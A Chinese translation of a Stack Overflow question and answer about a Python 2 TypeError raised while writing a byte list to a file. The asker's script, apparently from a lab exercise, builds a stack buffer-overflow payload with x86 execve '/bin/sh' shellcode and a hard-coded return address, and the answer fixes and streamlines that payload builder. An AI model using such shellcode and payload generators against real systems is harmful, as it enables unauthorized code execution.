如何将字节列表写入文件Python?

时间:2017-04-29 16:35:21

标签: python arrays file

我有一个字节列表,我想写成二进制文件:

这就是我所拥有的:

import struct as st

shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
     "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
     "\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
     "\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")

def generateexploitmessage(nops, retaddr):
    message = []
    for x in xrange(0,128):
        message += st.pack(">I",retaddr)
    print(message)
    for x in xrange(0,len(shellcode)):
        message[x] = shellcode[x]
    print(message)
    print(len(message))
    return message


def reversebyteorder(arg):
    returnarray = []
    for x in xrange(0,len(arg),4):
        temparray = bytearray(arg[x:x+4])[::-1]
        print temparray
        returnarray += temparray
    return returnarray


def writebytestofile(message):
    f = open("pyexploit.bin",'wb')
    print message 
    f.write(message)
    f.close()


def main():
    print shellcode
    exploit =generateexploitmessage(0,0xbffff614)
    readyexploit = reversebyteorder(exploit)
    writebytestofile(readyexploit)


if __name__ == '__main__':
    main()

我收到的错误消息如下:

Traceback (most recent call last):
  File "generateexploit.py", line 47, in <module>
    main()
  File "generateexploit.py", line 43, in main
    writebytestofile(readyexploit)
  File "generateexploit.py", line 35, in writebytestofile
    f.write(message)
TypeError: argument 1 must be string or buffer, not list

我知道我不知何故需要将我的列表或我所拥有的内容转换为可写格式,但我不知道如何。我试图将bytearray(message)放在我将最终消息写入文件的位置,但这没有用。

1 个答案:

答案 0 :(得分:2)

Bot generateexploitmessage()reversebyteorder()会产生列表字节(整数),而不是bytesarray()。在写入之前将结果再次包裹在bytearray()中:

f.write(bytearray(message))

或者,坚持早先生成bytearray ;这里没有必要使用列表:

def generateexploitmessage(nops, retaddr):
    message = bytearray()
    for x in xrange(128):
        message += st.pack(">I", retaddr)
    message[:len(shellcode)] = shellcode
    return message

def reversebyteorder(arg):
    returnarray = bytearray()
    for x in xrange(0, len(arg), 4):
        temparray = bytearray(arg[x:x + 4])[::-1]
        returnarray += temparray
    return returnarray